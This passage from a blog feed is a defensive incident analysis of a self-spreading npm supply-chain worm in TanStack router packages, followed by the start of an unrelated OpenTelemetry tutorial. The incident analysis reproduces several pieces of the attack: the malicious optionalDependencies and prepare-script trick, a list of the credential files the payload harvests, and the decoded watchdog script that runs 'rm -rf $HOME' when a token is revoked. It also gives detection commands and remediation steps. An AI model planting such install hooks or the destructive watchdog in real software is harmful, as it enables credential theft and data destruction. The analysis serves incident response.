<td><code>@tanstack/router-utils</code></td>
<td>1.161.11</td>
<td>1.161.14</td>
</tr>
<tr>
<td><code>@tanstack/router-core</code></td>
<td>1.169.5</td>
<td>1.169.8</td>
</tr>
<tr>
<td><code>@tanstack/router-devtools-core</code></td>
<td>1.167.6</td>
<td>1.167.9</td>
</tr>
<tr>
<td><code>@tanstack/react-router-devtools</code></td>
<td>1.166.16</td>
<td>1.166.19</td>
</tr>
<tr>
<td><code>@tanstack/router-generator</code></td>
<td>1.166.45</td>
<td>1.166.48</td>
</tr>
<tr>
<td><code>@tanstack/virtual-file-routes</code></td>
<td>1.161.10</td>
<td>1.161.13</td>
</tr>
<tr>
<td><code>@tanstack/router-plugin</code></td>
<td>1.167.38</td>
<td>1.167.41</td>
</tr>
<tr>
<td><code>@tanstack/react-router</code></td>
<td>1.169.5</td>
<td>1.169.8</td>
</tr>
<tr>
<td><code>@tanstack/router-devtools</code></td>
<td>1.166.16</td>
<td>1.166.19</td>
</tr>
<tr>
<td><code>@tanstack/react-start</code></td>
<td>1.167.68</td>
<td>1.167.71</td>
</tr>
<tr>
<td><code>@tanstack/router-cli</code></td>
<td>1.166.46</td>
<td>1.166.49</td>
</tr>
<tr>
<td><code>@tanstack/router-vite-plugin</code></td>
<td>1.166.53</td>
<td>1.166.56</td>
</tr>
<tr>
<td><code>@tanstack/solid-router</code></td>
<td>1.169.5</td>
<td>1.169.8</td>
</tr>
</tbody></table>
<p>Bad versions were live from roughly 19:20 UTC to npm takedown. The worm also republished 200+ packages owned by other maintainers it touched. Socket maintains a running list at <a href="https://socket.dev/supply-chain-attacks/mini-shai-hulud">socket.dev/supply-chain-attacks/mini-shai-hulud</a>.</p>
<p><code>@tanstack/query*</code>, <code>@tanstack/table*</code>, <code>@tanstack/form*</code>, <code>@tanstack/virtual*</code>, and <code>@tanstack/store</code> were not affected.</p>
<h2 id="h2-the-trick-optionaldependencies-pointing-at-a-hidden-orphan-commit" class="group relative scroll-mt-24">
        <a href="#h2-the-trick-optionaldependencies-pointing-at-a-hidden-orphan-commit" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The trick: optionalDependencies pointing at a hidden orphan commit
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-trick-optionaldependencies-pointing-at-a-hidden-orphan-commit"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The packages themselves look normal. The malicious code is loaded by a single line in <code>package.json</code>:</p>
<pre><code class="hljs language-json"><span class="hljs-attr">&quot;optionalDependencies&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;@tanstack/setup&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c&quot;</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>When you run <code>npm install</code>, npm resolves that git dependency by fetching the <code>tanstack/router</code> repo at commit <code>79ac49ee</code>. That commit is an orphan pushed to a fork specifically so it does not appear in the default branch history. Because npm treats git dependencies as &quot;build from source,&quot; it pulls down the commit&#39;s declared dependencies (including <code>bun</code>) and runs the <code>prepare</code> lifecycle script:</p>
<pre><code class="hljs language-json"><span class="hljs-attr">&quot;scripts&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;prepare&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;bun run tanstack_runner.js  &amp;&amp; exit 1&quot;</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>The <code>&amp;&amp; exit 1</code> is the clever bit. It makes the optional install fail, so npm silently discards <code>@tanstack/setup</code> from the dependency tree and produces no error in the install output. But <code>bun run tanstack_runner.js</code> already ran. <code>tanstack_runner.js</code> then loads the real payload, <code>router_init.js</code>, a 2.3 MB obfuscated file that the attacker smuggled into the tarball at the package root. The file is not listed in the package&#39;s <code>&quot;files&quot;</code> array and nothing else references it, so it would not appear in a casual code review of the package source.</p>
<p>This is what <code>npm pack</code> shows on a confirmed-bad version:</p>
<pre><code class="hljs language-bash">npm pack @tanstack/history@1.161.12   <span class="hljs-comment"># does NOT run install scripts</span>
tar -xzf *.tgz
<span class="hljs-built_in">cat</span> package/package.json | grep -A3 optionalDependencies
<span class="hljs-built_in">ls</span> -la package/router_init.js
</code></pre><p>If <code>router_init.js</code> exists and the <code>optionalDependencies</code> entry points at a <code>tanstack/router#&lt;sha&gt;</code> git ref, that copy is malicious.</p>
<h2 id="h2-what-the-payload-actually-does" class="group relative scroll-mt-24">
        <a href="#h2-what-the-payload-actually-does" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What the payload actually does
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-the-payload-actually-does"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>On a successful install, <code>router_init.js</code> runs three workloads:</p>
<ol>
<li><strong>Credential harvest.</strong> It walks the standard cloud and developer credential locations: AWS IMDS (<code>169.254.169.254</code>) and Secrets Manager, GCP instance metadata, Kubernetes service-account tokens (<code>/var/run/secrets/kubernetes.io/serviceaccount/token</code>), Vault tokens, <code>~/.npmrc</code>, GitHub tokens (from <code>~/.config/gh/hosts.yml</code> and env), and SSH private keys under <code>~/.ssh</code>.</li>
<li><strong>Exfiltration over Session.</strong> The harvested data is uploaded to file endpoints on the Session/Oxen messenger network: <code>filev2.getsession.org</code>, <code>seed{1,2,3}.getsession.org</code>. Session is an end-to-end encrypted dead-drop with no central server the defender can sinkhole, so traditional IOC blocklists do not help here.</li>
<li><strong>Self-propagation.</strong> It queries <code>https://registry.npmjs.org/-/v1/search?text=maintainer:&lt;victim&gt;</code> to enumerate every package the compromised maintainer owns, then republishes each one with the same <code>optionalDependencies</code> injection and the same <code>router_init.js</code> smuggled into the tarball. This is the worm part: every infected maintainer becomes a new vector. Socket counts 200+ packages this way as of writing.</li>
</ol>
<p>This is roughly what makes the incident structurally different from <code>event-stream</code> or <code>colors.js</code>. There is no shady contributor to spot in the PR history. There is no missing 2FA. The compromise happened in the publish pipeline itself, the cryptographic provenance proves the tarball came from the project, and the malicious code does not appear in the package&#39;s source tree because it is fetched at install time from a fork.</p>
<h2 id="h2-the-dead-mans-switch" class="group relative scroll-mt-24">
        <a href="#h2-the-dead-mans-switch" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The dead-man's switch
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-dead-mans-switch"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the part of the payload most defenders are not used to thinking about. Before exfiltrating credentials, the script installs a watchdog:</p>
<ul>
<li>On Linux, a <code>systemd --user</code> service under <code>~/.config/systemd/user/</code> that runs <code>~/.local/bin/gh-token-monitor.sh</code>.</li>
<li>On macOS, a LaunchAgent named <code>com.user.gh-token-monitor</code> under <code>~/Library/LaunchAgents/</code>.</li>
</ul>
<p>The script polls the GitHub API every 60 seconds. If the response status starts returning 40x, the handler runs and the script exits.</p>
<p>The decoded script (extracted from the obfuscated <code>router_init.js</code> payload, <a href="https://github.com/TanStack/router/issues/7383#issuecomment-4427502147">thanks to lmt-swallow on the issue thread</a>):</p>
<pre><code class="hljs language-bash"><span class="hljs-meta">#!/usr/bin/env bash</span>
<span class="hljs-built_in">set</span> -euo pipefail

CONFIG_DIR=<span class="hljs-string">&quot;<span class="hljs-variable">${HOME}</span>/.config/gh-token-monitor&quot;</span>
GITHUB_TOKEN=<span class="hljs-string">&quot;<span class="hljs-subst">$(cat <span class="hljs-string">&quot;<span class="hljs-variable">${CONFIG_DIR}</span>/token&quot;</span>)</span>&quot;</span>
HANDLER=<span class="hljs-string">&quot;<span class="hljs-subst">$(cat <span class="hljs-string">&quot;<span class="hljs-variable">${CONFIG_DIR}</span>/handler&quot;</span>)</span>&quot;</span>
STARTED_FILE=<span class="hljs-string">&quot;<span class="hljs-variable">${CONFIG_DIR}</span>/started_at&quot;</span>

MAX_TTL=86400        <span class="hljs-comment"># 24 hours</span>
CHECK_INTERVAL=60    <span class="hljs-comment"># poll every minute</span>

<span class="hljs-keyword">if</span> [[ ! -f <span class="hljs-string">&quot;<span class="hljs-variable">$STARTED_FILE</span>&quot;</span> ]]; <span class="hljs-keyword">then</span>
  <span class="hljs-built_in">date</span> +%s &gt; <span class="hljs-string">&quot;<span class="hljs-variable">$STARTED_FILE</span>&quot;</span>
<span class="hljs-keyword">fi</span>
START_TIME=$(<span class="hljs-built_in">cat</span> <span class="hljs-string">&quot;<span class="hljs-variable">$STARTED_FILE</span>&quot;</span>)

<span class="hljs-keyword">while</span> <span class="hljs-literal">true</span>; <span class="hljs-keyword">do</span>
  ELAPSED=$(( $(date +%s) - START_TIME ))

  <span class="hljs-keyword">if</span> [[ <span class="hljs-variable">$ELAPSED</span> -ge <span class="hljs-variable">$MAX_TTL</span> ]]; <span class="hljs-keyword">then</span>
    <span class="hljs-comment"># 24h reached, give up cleanly so we are not a long-term footprint</span>
    <span class="hljs-built_in">rm</span> -f <span class="hljs-string">&quot;<span class="hljs-variable">$STARTED_FILE</span>&quot;</span>
    <span class="hljs-built_in">exit</span> 0
  <span class="hljs-keyword">fi</span>

  HTTP_STATUS=$(curl -s -o /dev/null -w <span class="hljs-string">&quot;%{http_code}&quot;</span> \
    -H <span class="hljs-string">&quot;Authorization: Bearer <span class="hljs-variable">${GITHUB_TOKEN}</span>&quot;</span> \
    -H <span class="hljs-string">&quot;Accept: application/vnd.github+json&quot;</span> \
    <span class="hljs-string">&quot;https://api.github.com/user&quot;</span>) || <span class="hljs-literal">true</span>

  <span class="hljs-keyword">if</span> [[ <span class="hljs-string">&quot;<span class="hljs-variable">$HTTP_STATUS</span>&quot;</span> =~ ^40[0-9]$ ]]; <span class="hljs-keyword">then</span>
    <span class="hljs-comment"># Token was revoked. Trigger the handler (rm -rf ~/) and exit.</span>
    <span class="hljs-built_in">eval</span> <span class="hljs-string">&quot;<span class="hljs-variable">$HANDLER</span>&quot;</span>
    <span class="hljs-built_in">rm</span> -f <span class="hljs-string">&quot;<span class="hljs-variable">$STARTED_FILE</span>&quot;</span>
    <span class="hljs-built_in">exit</span> 0
  <span class="hljs-keyword">fi</span>

  <span class="hljs-built_in">sleep</span> <span class="hljs-variable">$CHECK_INTERVAL</span>
<span class="hljs-keyword">done</span>
</code></pre><p>The handler stored in <code>${CONFIG_DIR}/handler</code> is <code>rm -rf &quot;$HOME&quot;</code> (or equivalent, since implementations vary by victim build of the payload). The 24-hour TTL is interesting: after 24 hours the script exits on its own, which means there is a narrow window for this to fire. If you are reading this more than a day after the May 11 release window, the dead-man&#39;s switch on a previously infected machine has likely already disarmed itself, but the credential exfiltration and any other persistence mechanisms are still in place.</p>
<p>The takeaway for the operational response is uncomfortable but real: do not start by revoking the GitHub token. First check whether the machine that ran <code>npm install</code> is infected, then disarm the watchdog (delete the systemd user service, the launch agent, and the script), then revoke. If you revoke first on a machine where the watchdog is still running, the next poll within 60 seconds runs <code>rm -rf $HOME</code>.</p>
<h2 id="h2-how-to-check-your-machine" class="group relative scroll-mt-24">
        <a href="#h2-how-to-check-your-machine" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to check your machine
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-check-your-machine"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Run these on any developer workstation or CI runner that installed an affected version on or after May 11, 2026, 19:20 UTC:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Files the payload drops</span>
find ~ -path <span class="hljs-string">&#x27;*/.claude/setup.mjs&#x27;</span> -o -path <span class="hljs-string">&#x27;*/.vscode/setup.mjs&#x27;</span> 2&gt;/dev/null
find ~/.config -name <span class="hljs-string">&#x27;*gh-token-monitor*&#x27;</span> 2&gt;/dev/null
find ~/.local/bin -name <span class="hljs-string">&#x27;gh-token-monitor.sh&#x27;</span> 2&gt;/dev/null
find /tmp -name <span class="hljs-string">&#x27;tmp.ts018051808.lock&#x27;</span> 2&gt;/dev/null

<span class="hljs-comment"># Running processes</span>
ps aux | grep -E <span class="hljs-string">&#x27;tanstack_runner|router_runtime|gh-token-monitor|bun&#x27;</span> | grep -v grep
</code></pre><p>On Linux, also check the systemd user unit:</p>
<pre><code class="hljs language-bash">systemctl --user list-unit-files | grep -i gh-token
systemctl --user status gh-token-monitor.service 2&gt;/dev/null
</code></pre><p>On macOS, also check LaunchAgents:</p>
<pre><code class="hljs language-bash">launchctl list | grep -i gh-token-monitor
<span class="hljs-built_in">ls</span> -la ~/Library/LaunchAgents/ | grep -i gh-token-monitor
</code></pre><p>And look directly at the tarballs in your npm cache for the smuggled <code>router_init.js</code>:</p>
<pre><code class="hljs language-bash">find ~/.npm/_cacache -name <span class="hljs-string">&#x27;tanstack-*.tgz&#x27;</span> -<span class="hljs-built_in">exec</span> sh -c <span class="hljs-string">&#x27;
  for f; do
    if tar -tzf &quot;$f&quot; 2&gt;/dev/null | grep -q &quot;package/router_init.js&quot;; then
      echo &quot;INFECTED: $f&quot;
    fi
  done
&#x27;</span> _ {} +
</code></pre><p>If any of the above returns a hit, treat the machine as compromised and follow the response below before touching tokens.</p>
<h2 id="h2-response-in-order" class="group relative scroll-mt-24">
        <a href="#h2-response-in-order" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Response, in order
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-response-in-order"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><p><strong>Disarm the watchdog before revoking tokens.</strong> Stop the service, delete the script, kill any hanging <code>gh-token-monitor</code> or <code>bun tanstack_runner</code> processes.</p>
<p>Linux:</p>
<pre><code class="hljs language-bash">systemctl --user stop gh-token-monitor.service 2&gt;/dev/null
systemctl --user <span class="hljs-built_in">disable</span> gh-token-monitor.service 2&gt;/dev/null
<span class="hljs-built_in">rm</span> -f ~/.config/systemd/user/gh-token-monitor.service
<span class="hljs-built_in">rm</span> -f ~/.local/bin/gh-token-monitor.sh
<span class="hljs-built_in">rm</span> -rf ~/.config/gh-token-monitor
systemctl --user daemon-reload
pkill -f gh-token-monitor || <span class="hljs-literal">true</span>
pkill -f tanstack_runner || <span class="hljs-literal">true</span>
</code></pre><p>macOS:</p>
<pre><code class="hljs language-bash">launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2&gt;/dev/null
<span class="hljs-built_in">rm</span> -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
<span class="hljs-built_in">rm</span> -f ~/.local/bin/gh-token-monitor.sh
<span class="hljs-built_in">rm</span> -rf ~/.config/gh-token-monitor
pkill -f gh-token-monitor || <span class="hljs-literal">true</span>
pkill -f tanstack_runner || <span class="hljs-literal">true</span>
</code></pre></li>
<li><p><strong>Pin lockfiles back to a known-good version range</strong>, delete <code>node_modules</code> and <code>package-lock.json</code> / <code>bun.lock</code> / <code>yarn.lock</code>, reinstall from scratch on a clean machine.</p>
</li>
<li><p><strong>Rotate everything the payload could have touched</strong> <em>after</em> you have disarmed the watchdog: GitHub tokens (PATs and OAuth app installs), npm tokens, AWS access keys, GCP service-account keys, Vault tokens, SSH keys, <code>~/.npmrc</code> auth lines. If a CI runner installed an affected version, rotate that runner&#39;s IAM role too because the payload pulls IMDS credentials from inside the runner.</p>
</li>
<li><p><strong>Check your npm publish history.</strong> If you maintain other packages on the same machine, the worm may have already republished them. Look at recent publish events on <code>npmjs.com/~&lt;your-user&gt;</code> for tarballs you did not push.</p>
</li>
<li><p><strong>Audit GitHub Actions logs</strong> for any workflow runs that exported the <code>NODE_AUTH_TOKEN</code> or <code>npm_token</code> environment in the last 24 hours. If your publish workflow runs on <code>pull_request</code> from forks, treat the entire publish pipeline as suspect.</p>
</li>
</ol>
<h2 id="h2-why-slsa-provenance-and-2fa-did-not-help" class="group relative scroll-mt-24">
        <a href="#h2-why-slsa-provenance-and-2fa-did-not-help" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why SLSA provenance and 2FA did not help
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-slsa-provenance-and-2fa-did-not-help"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The TanStack team had:</p>
<ul>
<li>Two-factor authentication on every maintainer account.</li>
<li>npm trusted-publisher binding via GitHub Actions OIDC, so npm tokens never live on a maintainer machine.</li>
<li>SLSA build provenance on every published tarball.</li>
</ul>
<p>The malicious versions had all three. They were signed by the real publishing workflow, OIDC-bound to the real GitHub repo, and the provenance cryptographically proves they came out of the TanStack CI environment. To npm and to anyone verifying provenance, the bad versions look 100% legitimate, because in a strict sense they are: they came from the project&#39;s own pipeline. The compromise was earlier in the chain. A workflow file was modified to publish what the attacker wanted, OIDC then minted the publish token, and the audit trail records a clean release.</p>
<p>SLSA provenance answers &quot;did this artifact come from this build pipeline?&quot; It does not answer &quot;did this build pipeline only run code its maintainers wrote?&quot; That gap is exactly where this attack lives, and the difference between this and prior npm worm incidents is that the payload now includes the destructive watchdog, not just credential theft.</p>
<h2 id="h2-hardening-for-next-time" class="group relative scroll-mt-24">
        <a href="#h2-hardening-for-next-time" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Hardening for next time
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-hardening-for-next-time"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><pre><code class="hljs language-text">        Source                Build                Publish
          │                     │                      │
          ▼                     ▼                      ▼
   ┌────────────┐        ┌────────────┐       ┌─────────────┐
   │  Reviewed  │  ───▶  │   CI in    │  ──▶  │ npm registry│
   │   commits  │        │  sandbox   │       │ (SLSA proof)│
   └────────────┘        └────────────┘       └─────────────┘
        ▲                     ▲                      ▲
        │                     │                      │
    branch              isolated runners        publish workflow
    protection +        + pinned action SHAs    on `release`  
    required reviews    + no `pull_request`     events only,
                        from forks               not on `push`
</code></pre><p>The two anti-patterns that matter most for maintainers, because they are the actual entry point in this incident and several recent npm compromises:</p>
<ul>
<li><strong>Do not use <code>pull_request_target</code> for workflows that touch publish secrets.</strong> Unlike plain <code>pull_request</code>, <code>pull_request_target</code> runs in the context of the base branch with full secret access, but checks out the attacker-controlled head SHA. An attacker can open a PR that modifies a workflow file or a build script, the workflow runs with secrets, and you have shipped your npm token to them. If you need fork CI, split into two workflows: a no-secret <code>pull_request</code> build for the fork content, and a separate secret-using workflow that only triggers on <code>release</code> or merged commits in the upstream repo.</li>
<li><strong>Do not share caches between PR builds and publish jobs.</strong> A poisoned <code>~/.npm</code> or <code>node_modules</code> cache from a fork PR run will be restored by the next publish run if both jobs use the same <code>actions/cache</code> key (or the default <code>actions/setup-node</code> cache). That is the path from &quot;attacker opens a draft PR&quot; to &quot;attacker&#39;s code runs at publish time,&quot; and it is exactly what the TanStack post-mortem identified as the entry point. Use different cache keys, or skip the cache on publish workflows entirely.</li>
</ul>
<p>Other concrete actions:</p>
<ul>
<li><strong>Pin every third-party GitHub Action to a commit SHA</strong>, not a tag. Tag references are mutable. The TanStack post-mortem confirms this was part of the hardening they shipped after the incident.</li>
<li><strong>Use <code>npm ci</code> with <code>--ignore-scripts</code> in CI</strong> for anything that does not actually need lifecycle scripts. Library builds usually do not.</li>
<li><strong>Adopt dependency cooldowns.</strong> The malicious window was open for hours. Tools like Renovate, Dependabot grouping, or socket.dev&#39;s <a href="https://socket.dev/">package cooldown rules</a> can hold new versions for 24-72 hours before letting them into your repo, which is enough time for a community-driven detection like this one to land.</li>
<li><strong>Audit <code>optionalDependencies</code></strong> specifically. The clever trick in this attack is that the malicious dependency is technically optional, so its failure does not break installs and does not show up in normal install logs. <code>npm install --dry-run</code> against a confirmed-bad version still shows the <code>tanstack/router#&lt;sha&gt;</code> reference, which is the cleanest signal.</li>
<li><strong>Treat your OIDC trust binding as a high-value secret.</strong> Rotating npm tokens does nothing if the workflow itself is what republishes packages. The TanStack team&#39;s post-mortem explicitly notes this: until the OIDC binding was revoked, the worm could keep publishing.</li>
</ul>
<h2 id="h2-what-we-are-watching" class="group relative scroll-mt-24">
        <a href="#h2-what-we-are-watching" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What we are watching
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-we-are-watching"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few open threads as of May 12 morning:</p>
<ul>
<li>npm&#39;s takedown timing. Carlini&#39;s report went in within minutes of the publish. The malicious versions were installable for several hours afterward. Socket&#39;s tracker has the cleanest view of the per-package timeline.</li>
<li>Whether the same workflow-injection technique is being reused against other large npm orgs in the next 24 hours. The Nx incident in 2025 saw copy-cat attacks within days.</li>
<li>Long-term persistence. The 24-hour TTL on the dead-man&#39;s switch suggests the attacker did not want a long footprint. Other persistence mechanisms reported in the GitHub thread (<code>*/.claude/setup.mjs</code>, <code>*/.vscode/setup.mjs</code>) have not been fully analyzed yet at time of writing.</li>
</ul>
<h2 id="h2-sources" class="group relative scroll-mt-24">
        <a href="#h2-sources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-sources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>TanStack GitHub issue with the full technical thread: <a href="https://github.com/TanStack/router/issues/7383">TanStack/router#7383</a></li>
<li>TanStack post-mortem: <a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem">tanstack.com/blog/npm-supply-chain-compromise-postmortem</a></li>
<li>Nicholas Carlini&#39;s initial fingerprint and package list: <a href="https://github.com/TanStack/router/issues/7383#issuecomment-4424629798">issue comment</a></li>
<li>Decoded <code>gh-token-monitor.sh</code> script: <a href="https://github.com/TanStack/router/issues/7383#issuecomment-4427502147">issue comment from lmt-swallow</a></li>
<li>Socket running tracker: <a href="https://socket.dev/supply-chain-attacks/mini-shai-hulud">socket.dev/supply-chain-attacks/mini-shai-hulud</a></li>
<li>StepSecurity write-up: <a href="https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem">stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem</a></li>
<li>Earlier tweet thread with the dead-man&#39;s switch detail: <a href="https://x.com/intcyberdigest/status/2053983157628596484">@intcyberdigest on X</a></li>
</ul>
<p>Run the detection commands. Disarm before you revoke.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Distributed Tracing with OpenTelemetry: From Instrumentation to Visualization]]></title>
      <link>https://devops.anhp.site/posts/distributed-tracing-opentelemetry-instrumentation-visualization</link>
      <description><![CDATA[A walkthrough of instrumenting a real service with OpenTelemetry, running the Collector, and finding the slow span in Jaeger when a request hops across five microservices.]]></description>
      <pubDate>Mon, 11 May 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/distributed-tracing-opentelemetry-instrumentation-visualization</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[opentelemetry]]></category><category><![CDATA[distributed-tracing]]></category><category><![CDATA[observability]]></category><category><![CDATA[devops]]></category><category><![CDATA[jaeger]]></category><category><![CDATA[monitoring]]></category>
      <content:encoded><![CDATA[<p>A customer complains the checkout page is slow. You check the frontend logs. Nothing useful. You check the API gateway logs. The request took 4.2 seconds. You check the order service. It says the request took 180 milliseconds. You check the payment service. It says it never received the request. You check the database. Everything looks fine.</p>
<p>Now you have a problem. The 4 seconds happened somewhere between the gateway and the order service, but you have five services, two message queues, and a Redis cache in that path. Logs alone will not save you here.</p>
<p>This is what distributed tracing fixes. Instead of stitching together unrelated log lines, you get one timeline that follows a single request through every service it touches. OpenTelemetry is the vendor-neutral way to produce those traces. This post walks through instrumenting a Python service, running the OpenTelemetry Collector, and getting traces into Jaeger so you can actually see where the time went.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
